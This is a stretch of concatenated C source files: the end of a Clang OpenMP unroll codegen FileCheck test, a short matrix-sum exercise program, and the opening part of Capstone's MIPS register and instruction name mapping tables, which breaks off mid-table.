%[[CONV16:.+]] = fpext float %[[TMP32]] to double // CHECK-NEXT: %[[ADD17:.+]] = fadd double %[[CONV16]], %[[ADD]] // CHECK-NEXT: %[[CONV18:.+]] = fptrunc double %[[ADD17]] to float // CHECK-NEXT: store float %[[CONV18]], float* %[[ARRAYIDX15]], align 4 // CHECK-NEXT: br label %[[OMP_TILE0_INC]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_TILE0_INC]]: // CHECK-NEXT: %[[OMP_TILE0_NEXT]] = add nuw i32 %[[OMP_TILE0_IV]], 1 // CHECK-NEXT: br label %[[OMP_TILE0_HEADER]], !llvm.loop ![[LOOP3:[0-9]+]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_TILE0_EXIT]]: // CHECK-NEXT: br label %[[OMP_TILE0_AFTER:.+]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_TILE0_AFTER]]: // CHECK-NEXT: br label %[[OMP_FLOOR0_INC]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_FLOOR0_INC]]: // CHECK-NEXT: %[[OMP_FLOOR0_NEXT]] = add nuw i32 %[[OMP_FLOOR0_IV]], 1 // CHECK-NEXT: br label %[[OMP_FLOOR0_HEADER]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_FLOOR0_EXIT]]: // CHECK-NEXT: call void @__kmpc_for_static_fini(%struct.ident_t* @1, i32 %[[OMP_GLOBAL_THREAD_NUM]]) // CHECK-NEXT: %[[OMP_GLOBAL_THREAD_NUM19:.+]] = call i32 @__kmpc_global_thread_num(%struct.ident_t* @1) // CHECK-NEXT: call void @__kmpc_barrier(%struct.ident_t* @2, i32 %[[OMP_GLOBAL_THREAD_NUM19]]) // CHECK-NEXT: br label %[[OMP_FLOOR0_AFTER:.+]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_FLOOR0_AFTER]]: // CHECK-NEXT: br label %[[OMP_LOOP_AFTER:.+]] // CHECK-EMPTY: // CHECK-NEXT: [[OMP_LOOP_AFTER]]: // CHECK-NEXT: ret void // CHECK-NEXT: } void unroll_partial_heuristic_constant_for(float *a, float *b, float *c, float *d, float *e, float offset) { #pragma omp for #pragma omp unroll partial for (int i = 0; i < 128; i++) { a[i] += sind(b[i]) * c[i] * d[i] * e[i] + offset; } } #endif // HEADER // CHECK-LABEL: define {{.*}}@__captured_stmt( // CHECK-NEXT: [[ENTRY:.*]]: // CHECK-NEXT: %[[DISTANCE_ADDR:.+]] = alloca i32*, align 8 // CHECK-NEXT: %[[__CONTEXT_ADDR:.+]] = alloca %struct.anon*, align 8 // CHECK-NEXT: %[[DOTSTART:.+]] = alloca i32, align 4 // CHECK-NEXT: %[[DOTSTOP:.+]] = alloca i32, align 4 // CHECK-NEXT: %[[DOTSTEP:.+]] = alloca i32, align 4 // CHECK-NEXT: store i32* %[[DISTANCE:.+]], i32** %[[DISTANCE_ADDR]], align 8 // CHECK-NEXT: store %struct.anon* %[[__CONTEXT:.+]], %struct.anon** %[[__CONTEXT_ADDR]], align 8 // CHECK-NEXT: %[[TMP0:.+]] = load %struct.anon*, %struct.anon** %[[__CONTEXT_ADDR]], align 8 // CHECK-NEXT: %[[TMP1:.+]] = getelementptr inbounds %struct.anon, %struct.anon* %[[TMP0]], i32 0, i32 0 // CHECK-NEXT: %[[TMP2:.+]] = load i32*, i32** %[[TMP1]], align 8 // CHECK-NEXT: %[[TMP3:.+]] = load i32, i32* %[[TMP2]], align 4 // CHECK-NEXT: store i32 %[[TMP3]], i32* %[[DOTSTART]], align 4 // CHECK-NEXT: store i32 128, i32* %[[DOTSTOP]], align 4 // CHECK-NEXT: store i32 1, i32* %[[DOTSTEP]], align 4 // CHECK-NEXT: %[[TMP4:.+]] = load i32, i32* %[[DOTSTART]], align 4 // CHECK-NEXT: %[[TMP5:.+]] = load i32, i32* %[[DOTSTOP]], align 4 // CHECK-NEXT: %[[CMP:.+]] = icmp slt i32 %[[TMP4]], %[[TMP5]] // CHECK-NEXT: br i1 %[[CMP]], label %[[COND_TRUE:.+]], label %[[COND_FALSE:.+]] // CHECK-EMPTY: // CHECK-NEXT: [[COND_TRUE]]: // CHECK-NEXT: %[[TMP6:.+]] = load i32, i32* %[[DOTSTOP]], align 4 // CHECK-NEXT: %[[TMP7:.+]] = load i32, i32* %[[DOTSTART]], align 4 // CHECK-NEXT: %[[SUB:.+]] = sub nsw i32 %[[TMP6]], %[[TMP7]] // CHECK-NEXT: %[[TMP8:.+]] = load i32, i32* %[[DOTSTEP]], align 4 // CHECK-NEXT: %[[SUB1:.+]] = sub i32 %[[TMP8]], 1 // CHECK-NEXT: %[[ADD:.+]] = add i32 %[[SUB]], %[[SUB1]] // CHECK-NEXT: %[[TMP9:.+]] = load i32, i32* %[[DOTSTEP]], align 4 // CHECK-NEXT: %[[DIV:.+]] = udiv i32 %[[ADD]], %[[TMP9]] // CHECK-NEXT: br label %[[COND_END:.+]] // CHECK-EMPTY: // CHECK-NEXT: [[COND_FALSE]]: // CHECK-NEXT: br label %[[COND_END]] // CHECK-EMPTY: // CHECK-NEXT: [[COND_END]]: // CHECK-NEXT: %[[COND:.+]] = phi i32 [ %[[DIV]], %[[COND_TRUE]] ], [ 0, %[[COND_FALSE]] ] // CHECK-NEXT: %[[TMP10:.+]] = load i32*, i32** %[[DISTANCE_ADDR]], align 8 // CHECK-NEXT: store i32 %[[COND]], i32* %[[TMP10]], align 4 // CHECK-NEXT: ret void // CHECK-NEXT: } // CHECK-LABEL: define {{.*}}@__captured_stmt.1( // CHECK-NEXT: [[ENTRY:.*]]: // CHECK-NEXT: %[[LOOPVAR_ADDR:.+]] = alloca i32*, align 8 // CHECK-NEXT: %[[LOGICAL_ADDR:.+]] = alloca i32, align 4 // CHECK-NEXT: %[[__CONTEXT_ADDR:.+]] = alloca %struct.anon.0*, align 8 // CHECK-NEXT: store i32* %[[LOOPVAR:.+]], i32** %[[LOOPVAR_ADDR]], align 8 // CHECK-NEXT: store i32 %[[LOGICAL:.+]], i32* %[[LOGICAL_ADDR]], align 4 // CHECK-NEXT: store %struct.anon.0* %[[__CONTEXT:.+]], %struct.anon.0** %[[__CONTEXT_ADDR]], align 8 // CHECK-NEXT: %[[TMP0:.+]] = load %struct.anon.0*, %struct.anon.0** %[[__CONTEXT_ADDR]], align 8 // CHECK-NEXT: %[[TMP1:.+]] = getelementptr inbounds %struct.anon.0, %struct.anon.0* %[[TMP0]], i32 0, i32 0 // CHECK-NEXT: %[[TMP2:.+]] = load i32, i32* %[[TMP1]], align 4 // CHECK-NEXT: %[[TMP3:.+]] = load i32, i32* %[[LOGICAL_ADDR]], align 4 // CHECK-NEXT: %[[MUL:.+]] = mul i32 1, %[[TMP3]] // CHECK-NEXT: %[[ADD:.+]] = add i32 %[[TMP2]], %[[MUL]] // CHECK-NEXT: %[[TMP4:.+]] = load i32*, i32** %[[LOOPVAR_ADDR]], align 8 // CHECK-NEXT: store i32 %[[ADD]], i32* %[[TMP4]], align 4 // CHECK-NEXT: ret void // CHECK-NEXT: } // CHECK: ![[META0:[0-9]+]] = !{i32 1, !"wchar_size", i32 4} // CHECK: ![[META1:[0-9]+]] = !{i32 7, !"openmp", i32 51} // CHECK: ![[META2:[0-9]+]] = // CHECK: ![[LOOP3]] = distinct !{![[LOOP3]], ![[LOOPPROP4:[0-9]+]], ![[LOOPPROP5:[0-9]+]]} // CHECK: ![[LOOPPROP4]] = !{!"llvm.loop.unroll.enable"} // CHECK: ![[LOOPPROP5]] = !{!"llvm.loop.unroll.count", i32 4}
the_stack_data/52932.c
#include <stdio.h> int main(){ char op; double matriz[12][12], soma; int linhaCont, colunaCont, posicaoInicial = 0, posicaoFinal = 12,cont = 0; scanf(" %c", &op); for(linhaCont = 0; linhaCont < 12; linhaCont++){ for(colunaCont = 0; colunaCont < 12; colunaCont++){ scanf(" %lf", &matriz[linhaCont][colunaCont]); } } for(linhaCont = 0; linhaCont < 5; linhaCont++){ posicaoInicial += 1; posicaoFinal -= 1; for(colunaCont = posicaoInicial; colunaCont < posicaoFinal; colunaCont++){ soma += matriz[linhaCont][colunaCont]; cont += 1; } } if(op == 'S'){ printf("%.1lf\n", soma); }else{ printf("%.1lf\n", soma/cont); } return 0; }
the_stack_data/6388565.c
/* Capstone Disassembly Engine */ /* By Nguyen Anh Quynh <[email protected]>, 2013-2015 */ #ifdef CAPSTONE_HAS_MIPS #include <stdio.h> // debug #include <string.h> #include "../../utils.h" #include "MipsMapping.h" #define GET_INSTRINFO_ENUM #include "MipsGenInstrInfo.inc" #ifndef CAPSTONE_DIET static const name_map reg_name_maps[] = { { MIPS_REG_INVALID, NULL }, { MIPS_REG_PC, "pc"}, //{ MIPS_REG_0, "0"}, { MIPS_REG_0, "zero"}, { MIPS_REG_1, "at"}, //{ MIPS_REG_1, "1"}, { MIPS_REG_2, "v0"}, //{ MIPS_REG_2, "2"}, { MIPS_REG_3, "v1"}, //{ MIPS_REG_3, "3"}, { MIPS_REG_4, "a0"}, //{ MIPS_REG_4, "4"}, { MIPS_REG_5, "a1"}, //{ MIPS_REG_5, "5"}, { MIPS_REG_6, "a2"}, //{ MIPS_REG_6, "6"}, { MIPS_REG_7, "a3"}, //{ MIPS_REG_7, "7"}, { MIPS_REG_8, "t0"}, //{ MIPS_REG_8, "8"}, { MIPS_REG_9, "t1"}, //{ MIPS_REG_9, "9"}, { MIPS_REG_10, "t2"}, //{ MIPS_REG_10, "10"}, { MIPS_REG_11, "t3"}, //{ MIPS_REG_11, "11"}, { MIPS_REG_12, "t4"}, //{ MIPS_REG_12, "12"}, { MIPS_REG_13, "t5"}, //{ MIPS_REG_13, "13"}, { MIPS_REG_14, "t6"}, //{ MIPS_REG_14, "14"}, { MIPS_REG_15, "t7"}, //{ MIPS_REG_15, "15"}, { MIPS_REG_16, "s0"}, //{ MIPS_REG_16, "16"}, { MIPS_REG_17, "s1"}, //{ MIPS_REG_17, "17"}, { MIPS_REG_18, "s2"}, //{ MIPS_REG_18, "18"}, { MIPS_REG_19, "s3"}, //{ MIPS_REG_19, "19"}, { MIPS_REG_20, "s4"}, //{ MIPS_REG_20, "20"}, { MIPS_REG_21, "s5"}, //{ MIPS_REG_21, "21"}, { MIPS_REG_22, "s6"}, //{ MIPS_REG_22, "22"}, { MIPS_REG_23, "s7"}, //{ MIPS_REG_23, "23"}, { MIPS_REG_24, "t8"}, //{ MIPS_REG_24, "24"}, { MIPS_REG_25, "t9"}, //{ MIPS_REG_25, "25"}, { MIPS_REG_26, "k0"}, //{ MIPS_REG_26, "26"}, { MIPS_REG_27, "k1"}, //{ MIPS_REG_27, "27"}, { MIPS_REG_28, "gp"}, //{ MIPS_REG_28, "28"}, { MIPS_REG_29, "sp"}, //{ MIPS_REG_29, "29"}, { MIPS_REG_30, "fp"}, //{ MIPS_REG_30, "30"}, { MIPS_REG_31, "ra"}, //{ MIPS_REG_31, "31"}, { MIPS_REG_DSPCCOND, "dspccond"}, { MIPS_REG_DSPCARRY, "dspcarry"}, { MIPS_REG_DSPEFI, "dspefi"}, { MIPS_REG_DSPOUTFLAG, "dspoutflag"}, { MIPS_REG_DSPOUTFLAG16_19, "dspoutflag16_19"}, { MIPS_REG_DSPOUTFLAG20, "dspoutflag20"}, { MIPS_REG_DSPOUTFLAG21, "dspoutflag21"}, { MIPS_REG_DSPOUTFLAG22, "dspoutflag22"}, { MIPS_REG_DSPOUTFLAG23, "dspoutflag23"}, { MIPS_REG_DSPPOS, "dsppos"}, { MIPS_REG_DSPSCOUNT, "dspscount"}, { MIPS_REG_AC0, "ac0"}, { MIPS_REG_AC1, "ac1"}, { MIPS_REG_AC2, "ac2"}, { MIPS_REG_AC3, "ac3"}, { MIPS_REG_CC0, "cc0"}, { MIPS_REG_CC1, "cc1"}, { MIPS_REG_CC2, "cc2"}, { MIPS_REG_CC3, "cc3"}, { MIPS_REG_CC4, "cc4"}, { MIPS_REG_CC5, "cc5"}, { MIPS_REG_CC6, "cc6"}, { MIPS_REG_CC7, "cc7"}, { MIPS_REG_F0, "f0"}, { MIPS_REG_F1, "f1"}, { MIPS_REG_F2, "f2"}, { MIPS_REG_F3, "f3"}, { MIPS_REG_F4, "f4"}, { MIPS_REG_F5, "f5"}, { MIPS_REG_F6, "f6"}, { MIPS_REG_F7, "f7"}, { MIPS_REG_F8, "f8"}, { MIPS_REG_F9, "f9"}, { MIPS_REG_F10, "f10"}, { MIPS_REG_F11, "f11"}, { MIPS_REG_F12, "f12"}, { MIPS_REG_F13, "f13"}, { MIPS_REG_F14, "f14"}, { MIPS_REG_F15, "f15"}, { MIPS_REG_F16, "f16"}, { MIPS_REG_F17, "f17"}, { MIPS_REG_F18, "f18"}, { MIPS_REG_F19, "f19"}, { MIPS_REG_F20, "f20"}, { MIPS_REG_F21, "f21"}, { MIPS_REG_F22, "f22"}, { MIPS_REG_F23, "f23"}, { MIPS_REG_F24, "f24"}, { MIPS_REG_F25, "f25"}, { MIPS_REG_F26, "f26"}, { MIPS_REG_F27, "f27"}, { MIPS_REG_F28, "f28"}, { MIPS_REG_F29, "f29"}, { MIPS_REG_F30, "f30"}, { MIPS_REG_F31, "f31"}, { MIPS_REG_FCC0, "fcc0"}, { MIPS_REG_FCC1, "fcc1"}, { MIPS_REG_FCC2, "fcc2"}, { MIPS_REG_FCC3, "fcc3"}, { MIPS_REG_FCC4, "fcc4"}, { MIPS_REG_FCC5, "fcc5"}, { MIPS_REG_FCC6, "fcc6"}, { MIPS_REG_FCC7, "fcc7"}, { MIPS_REG_W0, "w0"}, { MIPS_REG_W1, "w1"}, { MIPS_REG_W2, "w2"}, { MIPS_REG_W3, "w3"}, { MIPS_REG_W4, "w4"}, { MIPS_REG_W5, "w5"}, { MIPS_REG_W6, "w6"}, { MIPS_REG_W7, "w7"}, { MIPS_REG_W8, "w8"}, { MIPS_REG_W9, "w9"}, { MIPS_REG_W10, "w10"}, { MIPS_REG_W11, "w11"}, { MIPS_REG_W12, "w12"}, { MIPS_REG_W13, "w13"}, { MIPS_REG_W14, "w14"}, { MIPS_REG_W15, "w15"}, { MIPS_REG_W16, "w16"}, { MIPS_REG_W17, "w17"}, { MIPS_REG_W18, "w18"}, { MIPS_REG_W19, "w19"}, { MIPS_REG_W20, "w20"}, { MIPS_REG_W21, "w21"}, { MIPS_REG_W22, "w22"}, { MIPS_REG_W23, "w23"}, { MIPS_REG_W24, "w24"}, { MIPS_REG_W25, "w25"}, { MIPS_REG_W26, "w26"}, { MIPS_REG_W27, "w27"}, { MIPS_REG_W28, "w28"}, { MIPS_REG_W29, "w29"}, { MIPS_REG_W30, "w30"}, { MIPS_REG_W31, "w31"}, { MIPS_REG_HI, "hi"}, { MIPS_REG_LO, "lo"}, { MIPS_REG_P0, "p0"}, { MIPS_REG_P1, "p1"}, { MIPS_REG_P2, "p2"}, { MIPS_REG_MPL0, "mpl0"}, { MIPS_REG_MPL1, "mpl1"}, { MIPS_REG_MPL2, "mpl2"}, }; #endif const char *Mips_reg_name(csh handle, unsigned int reg) { #ifndef CAPSTONE_DIET if (reg >= ARR_SIZE(reg_name_maps)) return NULL; return reg_name_maps[reg].name; #else return NULL; #endif } static const insn_map insns[] = { // dummy item { 0, 0, #ifndef CAPSTONE_DIET { 0 }, { 0 }, { 0 }, 0, 0 #endif }, #include "MipsMappingInsn.inc" }; // given internal insn id, return public instruction info void Mips_get_insn_id(cs_struct *h, cs_insn *insn, unsigned int id) { unsigned int i; i = insn_find(insns, ARR_SIZE(insns), id, &h->insn_cache); if (i != 0) { insn->id = insns[i].mapid; if (h->detail) { #ifndef CAPSTONE_DIET memcpy(insn->detail->regs_read, insns[i].regs_use, sizeof(insns[i].regs_use)); insn->detail->regs_read_count = (uint8_t)count_positive(insns[i].regs_use); memcpy(insn->detail->regs_write, insns[i].regs_mod, sizeof(insns[i].regs_mod)); insn->detail->regs_write_count = (uint8_t)count_positive(insns[i].regs_mod); memcpy(insn->detail->groups, insns[i].groups, sizeof(insns[i].groups)); insn->detail->groups_count = (uint8_t)count_positive8(insns[i].groups); if (insns[i].branch || insns[i].indirect_branch) { // this insn also belongs to JUMP group. add JUMP group insn->detail->groups[insn->detail->groups_count] = MIPS_GRP_JUMP; insn->detail->groups_count++; } #endif } } } static const name_map insn_name_maps[] = { { MIPS_INS_INVALID, NULL }, { MIPS_INS_ABSQ_S, "absq_s" }, { MIPS_INS_ADD, "add" }, { MIPS_INS_ADDIUPC, "addiupc" }, { MIPS_INS_ADDIUR1SP, "addiur1sp" }, { MIPS_INS_ADDIUR2, "addiur2" }, { MIPS_INS_ADDIUS5, "addius5" }, { MIPS_INS_ADDIUSP, "addiusp" }, { MIPS_INS_ADDQH, "addqh" }, { MIPS_INS_ADDQH_R, "addqh_r" }, { MIPS_INS_ADDQ, "addq" }, { MIPS_INS_ADDQ_S, "addq_s" }, { MIPS_INS_ADDSC, "addsc" }, { MIPS_INS_ADDS_A, "adds_a" }, { MIPS_INS_ADDS_S, "adds_s" }, { MIPS_INS_ADDS_U, "adds_u" }, { MIPS_INS_ADDU16, "addu16" }, { MIPS_INS_ADDUH, "adduh" }, { MIPS_INS_ADDUH_R, "adduh_r" }, { MIPS_INS_ADDU, "addu" }, { MIPS_INS_ADDU_S, "addu_s" }, { MIPS_INS_ADDVI, "addvi" }, { MIPS_INS_ADDV, "addv" }, { MIPS_INS_ADDWC, "addwc" }, { MIPS_INS_ADD_A, "add_a" }, { MIPS_INS_ADDI, "addi" }, { MIPS_INS_ADDIU, "addiu" }, { MIPS_INS_ALIGN, "align" }, { MIPS_INS_ALUIPC, "aluipc" }, { MIPS_INS_AND, "and" }, { MIPS_INS_AND16, "and16" }, { MIPS_INS_ANDI16, "andi16" }, { MIPS_INS_ANDI, "andi" }, { MIPS_INS_APPEND, "append" }, { MIPS_INS_ASUB_S, "asub_s" }, { MIPS_INS_ASUB_U, "asub_u" }, { MIPS_INS_AUI, "aui" }, { MIPS_INS_AUIPC, "auipc" }, { MIPS_INS_AVER_S, "aver_s" }, { MIPS_INS_AVER_U, "aver_u" }, { MIPS_INS_AVE_S, "ave_s" }, { MIPS_INS_AVE_U, "ave_u" }, { MIPS_INS_B16, "b16" }, { MIPS_INS_BADDU, "baddu" }, { MIPS_INS_BAL, "bal" }, { MIPS_INS_BALC, "balc" }, { MIPS_INS_BALIGN, "balign" }, { MIPS_INS_BBIT0, "bbit0" }, { MIPS_INS_BBIT032, "bbit032" }, { MIPS_INS_BBIT1, "bbit1" }, { MIPS_INS_BBIT132, "bbit132" }, { MIPS_INS_BC, "bc" }, { MIPS_INS_BC0F, "bc0f" }, { MIPS_INS_BC0FL, "bc0fl" }, { MIPS_INS_BC0T, "bc0t" }, { MIPS_INS_BC0TL, "bc0tl" }, { MIPS_INS_BC1EQZ, "bc1eqz" }, { MIPS_INS_BC1F, "bc1f" }, { MIPS_INS_BC1FL, "bc1fl" }, { MIPS_INS_BC1NEZ, "bc1nez" }, { MIPS_INS_BC1T, "bc1t" }, { MIPS_INS_BC1TL, "bc1tl" }, { MIPS_INS_BC2EQZ, "bc2eqz" }, { MIPS_INS_BC2F, "bc2f" }, { MIPS_INS_BC2FL, "bc2fl" }, { MIPS_INS_BC2NEZ, "bc2nez" }, { MIPS_INS_BC2T, "bc2t" }, { MIPS_INS_BC2TL, "bc2tl" }, { MIPS_INS_BC3F, "bc3f" }, { MIPS_INS_BC3FL, "bc3fl" }, { MIPS_INS_BC3T, "bc3t" }, { MIPS_INS_BC3TL, "bc3tl" }, { MIPS_INS_BCLRI, "bclri" }, { MIPS_INS_BCLR, "bclr" }, { MIPS_INS_BEQ, "beq" }, { MIPS_INS_BEQC, "beqc" }, { MIPS_INS_BEQL, "beql" }, { MIPS_INS_BEQZ16, "beqz16" }, { MIPS_INS_BEQZALC, "beqzalc" }, { MIPS_INS_BEQZC, "beqzc" }, { MIPS_INS_BGEC, "bgec" }, { MIPS_INS_BGEUC, "bgeuc" }, { MIPS_INS_BGEZ, "bgez" }, { MIPS_INS_BGEZAL, "bgezal" }, { MIPS_INS_BGEZALC, "bgezalc" }, { MIPS_INS_BGEZALL, "bgezall" }, { MIPS_INS_BGEZALS, "bgezals" }, { MIPS_INS_BGEZC, "bgezc" }, { MIPS_INS_BGEZL, "bgezl" }, { MIPS_INS_BGTZ, "bgtz" }, { MIPS_INS_BGTZALC, "bgtzalc" }, { MIPS_INS_BGTZC, "bgtzc" }, { MIPS_INS_BGTZL, "bgtzl" }, { MIPS_INS_BINSLI, "binsli" }, { MIPS_INS_BINSL, "binsl" }, { MIPS_INS_BINSRI, "binsri" }, { MIPS_INS_BINSR, "binsr" }, { MIPS_INS_BITREV, "bitrev" }, { MIPS_INS_BITSWAP, "bitswap" }, { MIPS_INS_BLEZ, "blez" }, { MIPS_INS_BLEZALC, "blezalc" }, { MIPS_INS_BLEZC, "blezc" }, { MIPS_INS_BLEZL, "blezl" }, { MIPS_INS_BLTC, "bltc" }, { MIPS_INS_BLTUC, "bltuc" }, { MIPS_INS_BLTZ, "bltz" }, { MIPS_INS_BLTZAL, "bltzal" }, { MIPS_INS_BLTZALC, "bltzalc" }, { MIPS_INS_BLTZALL, "bltzall" }, { MIPS_INS_BLTZALS, "bltzals" }, { MIPS_INS_BLTZC, "bltzc" }, { MIPS_INS_BLTZL, "bltzl" }, { MIPS_INS_BMNZI, "bmnzi" }, { MIPS_INS_BMNZ, "bmnz" }, { MIPS_INS_BMZI, "bmzi" }, { MIPS_INS_BMZ, "bmz" }, { MIPS_INS_BNE, "bne" }, { MIPS_INS_BNEC, "bnec" }, { MIPS_INS_BNEGI, "bnegi" }, { MIPS_INS_BNEG, "bneg" }, { MIPS_INS_BNEL, "bnel" }, { MIPS_INS_BNEZ16, "bnez16" }, { MIPS_INS_BNEZALC, "bnezalc" }, { MIPS_INS_BNEZC, "bnezc" }, { MIPS_INS_BNVC, "bnvc" }, { MIPS_INS_BNZ, "bnz" }, { MIPS_INS_BOVC, "bovc" }, { MIPS_INS_BPOSGE32, "bposge32" }, { MIPS_INS_BREAK, "break" }, { MIPS_INS_BREAK16, "break16" }, { MIPS_INS_BSELI, "bseli" }, { MIPS_INS_BSEL, "bsel" }, { MIPS_INS_BSETI, "bseti" }, { MIPS_INS_BSET, "bset" }, { MIPS_INS_BZ, "bz" }, { MIPS_INS_BEQZ, "beqz" }, { MIPS_INS_B, "b" }, { MIPS_INS_BNEZ, "bnez" }, { MIPS_INS_BTEQZ, "bteqz" }, { MIPS_INS_BTNEZ, "btnez" }, { MIPS_INS_CACHE, "cache" }, { MIPS_INS_CEIL, "ceil" }, { MIPS_INS_CEQI, "ceqi" }, { MIPS_INS_CEQ, "ceq" }, { MIPS_INS_CFC1, "cfc1" }, { MIPS_INS_CFCMSA, "cfcmsa" }, { MIPS_INS_CINS, "cins" }, { MIPS_INS_CINS32, "cins32" }, { MIPS_INS_CLASS, "class" }, { MIPS_INS_CLEI_S, "clei_s" }, { MIPS_INS_CLEI_U, "clei_u" }, { MIPS_INS_CLE_S, "cle_s" }, { MIPS_INS_CLE_U, "cle_u" }, { MIPS_INS_CLO, "clo" }, { MIPS_INS_CLTI_S, "clti_s" }, { MIPS_INS_CLTI_U, "clti_u" }, { MIPS_INS_CLT_S, "clt_s" }, { MIPS_INS_CLT_U, "clt_u" }, { MIPS_INS_CLZ, "clz" }, { MIPS_INS_CMPGDU, "cmpgdu" }, { MIPS_INS_CMPGU, "cmpgu" }, { MIPS_INS_CMPU, "cmpu" }, { MIPS_INS_CMP, "cmp" }, { MIPS_INS_COPY_S, "copy_s" }, { MIPS_INS_COPY_U, "copy_u" }, { MIPS_INS_CTC1, "ctc1" }, { MIPS_INS_CTCMSA, "ctcmsa" }, { MIPS_INS_CVT, "cvt" }, { MIPS_INS_C, "c" }, { MIPS_INS_CMPI, "cmpi" }, { MIPS_INS_DADD, "dadd" }, { MIPS_INS_DADDI, "daddi" }, { MIPS_INS_DADDIU, "daddiu" }, { MIPS_INS_DADDU, "daddu" }, { MIPS_INS_DAHI, "dahi" }, { MIPS_INS_DALIGN, "dalign" }, { MIPS_INS_DATI, "dati" }, { MIPS_INS_DAUI, "daui" }, { MIPS_INS_DBITSWAP, "dbitswap" }, { MIPS_INS_DCLO, "dclo" }, { MIPS_INS_DCLZ, "dclz" }, { MIPS_INS_DDIV, "ddiv" }, { MIPS_INS_DDIVU, "ddivu" }, { MIPS_INS_DERET, "deret" }, { MIPS_INS_DEXT, "dext" }, { MIPS_INS_DEXTM, "dextm" }, { MIPS_INS_DEXTU, "dextu" }, { MIPS_INS_DI, "di" }, { MIPS_INS_DINS, "dins" }, { MIPS_INS_DINSM, "dinsm" }, { MIPS_INS_DINSU, "dinsu" }, { MIPS_INS_DIV, "div" }, { MIPS_INS_DIVU, "divu" }, { MIPS_INS_DIV_S, "div_s" }, { MIPS_INS_DIV_U, "div_u" }, { MIPS_INS_DLSA, "dlsa" }, { MIPS_INS_DMFC0, "dmfc0" }, { MIPS_INS_DMFC1, "dmfc1" }, { MIPS_INS_DMFC2, "dmfc2" }, { MIPS_INS_DMOD, "dmod" }, { MIPS_INS_DMODU, "dmodu" }, { MIPS_INS_DMTC0, "dmtc0" }, { MIPS_INS_DMTC1, "dmtc1" }, { MIPS_INS_DMTC2, "dmtc2" }, { MIPS_INS_DMUH, "dmuh" }, { MIPS_INS_DMUHU, "dmuhu" }, { MIPS_INS_DMUL, "dmul" }, { MIPS_INS_DMULT, "dmult" }, { MIPS_INS_DMULTU, "dmultu" }, { MIPS_INS_DMULU, "dmulu" }, { MIPS_INS_DOTP_S, "dotp_s" }, { MIPS_INS_DOTP_U, "dotp_u" }, { MIPS_INS_DPADD_S, "dpadd_s" }, { MIPS_INS_DPADD_U, "dpadd_u" }, { MIPS_INS_DPAQX_SA, "dpaqx_sa" }, { MIPS_INS_DPAQX_S, "dpaqx_s" }, { MIPS_INS_DPAQ_SA, "dpaq_sa" }, { MIPS_INS_DPAQ_S, "dpaq_s" }, { MIPS_INS_DPAU, "dpau" }, { MIPS_INS_DPAX, "dpax" }, { MIPS_INS_DPA, "dpa" }, { MIPS_INS_DPOP, "dpop" }, { MIPS_INS_DPSQX_SA, "dpsqx_sa" }, { MIPS_INS_DPSQX_S, "dpsqx_s" }, { MIPS_INS_DPSQ_SA, "dpsq_sa" }, { MIPS_INS_DPSQ_S, "dpsq_s" }, { MIPS_INS_DPSUB_S, "dpsub_s" }, { MIPS_INS_DPSUB_U, "dpsub_u" }, { MIPS_INS_DPSU, "dpsu" }, { MIPS_INS_DPSX, "dpsx" }, { MIPS_INS_DPS, "dps" }, { MIPS_INS_DROTR, "drotr" }, { MIPS_INS_DROTR32, "drotr32" }, { MIPS_INS_DROTRV, "drotrv" }, { MIPS_INS_DSBH, "dsbh" }, { MIPS_INS_DSHD, "dshd" }, { MIPS_INS_DSLL, "dsll" }, { MIPS_INS_DSLL32, "dsll32" }, { MIPS_INS_DSLLV, "dsllv" }, { MIPS_INS_DSRA, "dsra" }, { MIPS_INS_DSRA32, "dsra32" }, { MIPS_INS_DSRAV, "dsrav" }, { MIPS_INS_DSRL, "dsrl" }, { MIPS_INS_DSRL32, "dsrl32" }, { MIPS_INS_DSRLV, "dsrlv" }, { MIPS_INS_DSUB, "dsub" }, { MIPS_INS_DSUBU, "dsubu" }, { MIPS_INS_EHB, "ehb" }, { MIPS_INS_EI, "ei" }, { MIPS_INS_ERET, "eret" }, { MIPS_INS_EXT, "ext" }, { MIPS_INS_EXTP, "extp" }, { MIPS_INS_EXTPDP, "extpdp" }, { MIPS_INS_EXTPDPV, "extpdpv" }, { MIPS_INS_EXTPV, "extpv" }, { MIPS_INS_EXTRV_RS, "extrv_rs" }, { MIPS_INS_EXTRV_R, "extrv_r" }, { MIPS_INS_EXTRV_S, "extrv_s" }, { MIPS_INS_EXTRV, "extrv" }, { MIPS_INS_EXTR_RS, "extr_rs" }, { MIPS_INS_EXTR_R, "extr_r" }, { MIPS_INS_EXTR_S, "extr_s" }, { MIPS_INS_EXTR, "extr" }, { MIPS_INS_EXTS, "exts" }, { MIPS_INS_EXTS32, "exts32" }, { MIPS_INS_ABS, "abs" }, { MIPS_INS_FADD, "fadd" }, { MIPS_INS_FCAF, "fcaf" }, { MIPS_INS_FCEQ, "fceq" }, { MIPS_INS_FCLASS, "fclass" }, { MIPS_INS_FCLE, "fcle" }, { MIPS_INS_FCLT, "fclt" }, { MIPS_INS_FCNE, "fcne" }, { MIPS_INS_FCOR, "fcor" }, { MIPS_INS_FCUEQ, "fcueq" }, { MIPS_INS_FCULE, "fcule" }, { MIPS_INS_FCULT, "fcult" }, { MIPS_INS_FCUNE, "fcune" }, { MIPS_INS_FCUN, "fcun" }, { MIPS_INS_FDIV, "fdiv" }, { MIPS_INS_FEXDO, "fexdo" }, { MIPS_INS_FEXP2, "fexp2" }, { MIPS_INS_FEXUPL, "fexupl" }, { MIPS_INS_FEXUPR, "fexupr" }, { MIPS_INS_FFINT_S, "ffint_s" }, { MIPS_INS_FFINT_U, "ffint_u" }, { MIPS_INS_FFQL, "ffql" }, { MIPS_INS_FFQR, "ffqr" }, { MIPS_INS_FILL, "fill" }, { MIPS_INS_FLOG2, "flog2" }, { MIPS_INS_FLOOR, "floor" }, { MIPS_INS_FMADD, "fmadd" }, { MIPS_INS_FMAX_A, "fmax_a" }, { MIPS_INS_FMAX, "fmax" }, { MIPS_INS_FMIN_A, "fmin_a" }, { MIPS_INS_FMIN, "fmin" }, { MIPS_INS_MOV, "mov" }, { MIPS_INS_FMSUB, "fmsub" }, { MIPS_INS_FMUL, "fmul" }, { MIPS_INS_MUL, "mul" }, { MIPS_INS_NEG, "neg" }, { MIPS_INS_FRCP, "frcp" }, { MIPS_INS_FRINT, "frint" }, { 